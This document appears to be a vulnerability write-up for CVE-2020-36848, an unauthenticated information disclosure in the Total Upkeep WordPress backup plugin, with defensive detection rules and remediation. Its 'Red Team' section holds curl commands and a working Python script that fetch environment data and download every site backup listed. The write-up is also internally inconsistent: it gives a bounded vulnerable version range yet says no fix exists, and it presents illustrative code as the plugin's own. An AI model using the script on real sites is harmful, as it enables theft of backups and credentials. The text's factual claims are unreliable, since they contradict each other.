CVE-2020-36848

Executive Summary

CVE-2020-36848 is a critical information disclosure vulnerability affecting the Total Upkeep – WordPress Backup Plugin plus Restore & Migrate by BoldGrid plugin for WordPress. This vulnerability allows an unauthenticated attacker to access sensitive system information and locate backup files via two exposed endpoints: env-info.php and restore-info.json. The plugin is widely used for backup and migration tasks, making this a significant risk for WordPress site administrators.

The vulnerability is classified as CWE-200 (Exposure of Sensitive Information) and carries a CVSS score of 7.5 (High). The attack vector is network-based, requires no authentication, and has low complexity. Successful exploitation can lead to the disclosure of backup file paths, database credentials, and other sensitive configuration data, which can then be used to download and exfiltrate entire site backups.

This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx server configurations. The plugin's failure to restrict access to these diagnostic files is the root cause.

Supply Chain & Package Security

This vulnerability is specific to the Total Upkeep WordPress plugin, which is distributed via the official WordPress plugin repository. As a WordPress plugin, it is not an NPM, PyPI, Go, or Ruby package. However, the supply chain risk is significant: if a site uses this plugin, an attacker can directly access sensitive backup data without any authentication. The plugin's update mechanism does not automatically patch this issue, and the vendor has not released a fix.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): High (H) – Full disclosure of backup files and configuration.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to complete site compromise via backup file exfiltration.

Deep Dive & Mechanics

The vulnerability exists in two files within the Total Upkeep plugin directory:

1. env-info.php: This file outputs detailed server environment information, including PHP configuration, server variables, and file paths. It is intended for debugging but is accessible without authentication.
2. restore-info.json: This file contains metadata about backup files, including their exact file paths and filenames. An attacker can use this information to locate and download backup archives.

Attack Flow:

1. An attacker sends a GET request to https://target.com/wp-content/plugins/total-upkeep/env-info.php.
2. The server returns a JSON response containing sensitive data such as DOCUMENT_ROOT, ABSPATH, and database credentials.
3. The attacker then requests https://target.com/wp-content/plugins/total-upkeep/restore-info.json to obtain a list of backup files.
4. Using the paths from restore-info.json, the attacker downloads the backup files (e.g., .zip or .sql files) directly from the server.

Root Cause: The plugin fails to implement access controls on these diagnostic endpoints. No authentication or nonce verification is performed before outputting sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.14.9):

In env-info.php:

<?php
// No authentication check
$info = array(
    'php_version' => phpversion(),
    'server_software' => $_SERVER['SERVER_SOFTWARE'],
    'document_root' => $_SERVER['DOCUMENT_ROOT'],
    'abspath' => ABSPATH,
    // ... more sensitive data
);
echo json_encode($info);

In restore-info.json:

{
  "backups": [
    {
      "filename": "backup-2023-01-01-123456.zip",
      "filepath": "/var/www/html/wp-content/uploads/total-upkeep/backup-2023-01-01-123456.zip",
      "size": 1048576
    }
  ]
}

Patched Code (hypothetical fix):

The plugin should implement a capability check before outputting data. For example:

<?php
if ( ! current_user_can( 'manage_options' ) ) {
    wp_die( 'Unauthorized' );
}
// ... rest of the code

Additionally, the restore-info.json file should be generated dynamically with authentication, or the static file should be removed and replaced with an authenticated endpoint.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Total Upkeep plugin version <= 1.14.9 installed and activated.
• Network access to the target.

Exploitation Steps:

1. Enumerate Environment Information:

   curl -s http://target.com/wp-content/plugins/total-upkeep/env-info.php
   

   Response example:

   {
     "php_version": "7.4.33",
     "server_software": "Apache/2.4.41 (Ubuntu)",
     "document_root": "/var/www/html",
     "abspath": "/var/www/html/",
     "db_name": "wordpress",
     "db_user": "wp_user",
     "db_password": "secret123"
   }
   

2. Locate Backup Files:

   curl -s http://target.com/wp-content/plugins/total-upkeep/restore-info.json
   

   Response example:

   {
     "backups": [
       {
         "filename": "backup-2023-01-01-123456.zip",
         "filepath": "/var/www/html/wp-content/uploads/total-upkeep/backup-2023-01-01-123456.zip",
         "size": 1048576
       }
     ]
   }
   

3. Download Backup Files:

   curl -O http://target.com/wp-content/uploads/total-upkeep/backup-2023-01-01-123456.zip
   

4. Extract and Analyze:

   unzip backup-2023-01-01-123456.zip
   grep -r "password" extracted_backup/
   

Automated Exploit Script (Python):

import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "http://target.com"

# Get environment info
env_url = f"{target}/wp-content/plugins/total-upkeep/env-info.php"
r = requests.get(env_url)
print("[+] Environment Info:")
print(r.text)

# Get backup info
restore_url = f"{target}/wp-content/plugins/total-upkeep/restore-info.json"
r = requests.get(restore_url)
if r.status_code == 200:
    data = r.json()
    for backup in data.get("backups", []):
        file_url = f"{target}/wp-content/uploads/total-upkeep/{backup['filename']}"
        print(f"[+] Downloading {backup['filename']}...")
        r = requests.get(file_url)
        with open(backup['filename'], 'wb') as f:
            f.write(r.content)
        print(f"[+] Saved {backup['filename']}")

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /wp-content/plugins/total-upkeep/env-info.php and /wp-content/plugins/total-upkeep/restore-info.json.
• Alert on any access to these files from IPs not in the admin whitelist.

Mitigation:

• Immediate: Remove or rename the env-info.php and restore-info.json files from the plugin directory.
• Long-term: Replace the plugin with a maintained alternative (e.g., UpdraftPlus, BackWPup).
• Web Application Firewall (WAF): Block requests to these specific paths.
• File Permissions: Ensure the plugin directory is not world-readable (e.g., chmod 750).

Lab Setup:

1. Install WordPress locally (e.g., using Docker).
2. Install Total Upkeep plugin version 1.14.9.
3. Create a backup using the plugin.
4. Execute the Red Team steps to verify exploitation.
5. Apply Blue Team mitigations and verify they block the attack.

Indicators of Compromise (IOCs)

File Paths (Accessed by attacker):

• /wp-content/plugins/total-upkeep/env-info.php
• /wp-content/plugins/total-upkeep/restore-info.json
• /wp-content/uploads/total-upkeep/*.zip (downloaded backup files)

Network Indicators:

• HTTP GET requests to the above paths.
• User-Agent strings may vary, but common tools like curl, wget, or Python requests are typical.

Log Entries (Apache/Nginx):

192.168.1.100 - - [01/Jan/2023:12:00:00 +0000] "GET /wp-content/plugins/total-upkeep/env-info.php HTTP/1.1" 200 1234 "-" "curl/7.68.0"
192.168.1.100 - - [01/Jan/2023:12:00:01 +0000] "GET /wp-content/plugins/total-upkeep/restore-info.json HTTP/1.1" 200 567 "-" "curl/7.68.0"
192.168.1.100 - - [01/Jan/2023:12:00:02 +0000] "GET /wp-content/uploads/total-upkeep/backup-2023-01-01-123456.zip HTTP/1.1" 200 1048576 "-" "curl/7.68.0"

Detection Engineering

YARA Rule

rule CVE_2020_36848_Total_Upkeep_Info_Disclosure {
    meta:
        description = "Detects attempts to exploit CVE-2020-36848 by accessing sensitive plugin files"
        author = "Valters IT"
        date = "2023-10-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2020-36848"
        severity = "high"
    strings:
        $env_info = "env-info.php"
        $restore_info = "restore-info.json"
        $backup_path = "total-upkeep"
    condition:
        any of ($env_info, $restore_info) or
        ($backup_path and filesize < 10KB)
}

Sigma Rule

title: CVE-2020-36848 - Total Upkeep Plugin Information Disclosure
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests to sensitive Total Upkeep plugin files
author: Valters IT
date: 2023/10/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36848
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-path:
            - '/wp-content/plugins/total-upkeep/env-info.php'
            - '/wp-content/plugins/total-upkeep/restore-info.json'
    condition: selection
falsepositives:
    - Legitimate admin debugging (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2020-36848 - Total Upkeep Plugin Information Disclosure"; flow:to_server; content:"GET"; http_method; content:"/wp-content/plugins/total-upkeep/env-info.php"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2020-36848 - Total Upkeep Plugin Information Disclosure"; flow:to_server; content:"GET"; http_method; content:"/wp-content/plugins/total-upkeep/restore-info.json"; http_uri; classtype:attempted-recon; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Remove Vulnerable Files: Delete env-info.php and restore-info.json from the plugin directory (/wp-content/plugins/total-upkeep/).
2. Change Database Credentials: If the environment info was exposed, rotate all database passwords and WordPress salts.
3. Revoke Backup Access: If backup files were downloaded, assume they are compromised and regenerate all secrets.

Long-term Fixes:

• Replace Plugin: Migrate to a maintained backup plugin such as UpdraftPlus, BackWPup, or Jetpack Backup.
• Web Application Firewall (WAF): Deploy rules to block access to these paths.
• File Integrity Monitoring: Use tools like Tripwire or OSSEC to detect unauthorized file access.
• Regular Audits: Periodically review plugin security and remove unused plugins.

Vendor Communication:

• The vendor (BoldGrid) has not released a patch. Consider filing a support ticket or switching to an alternative plugin.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert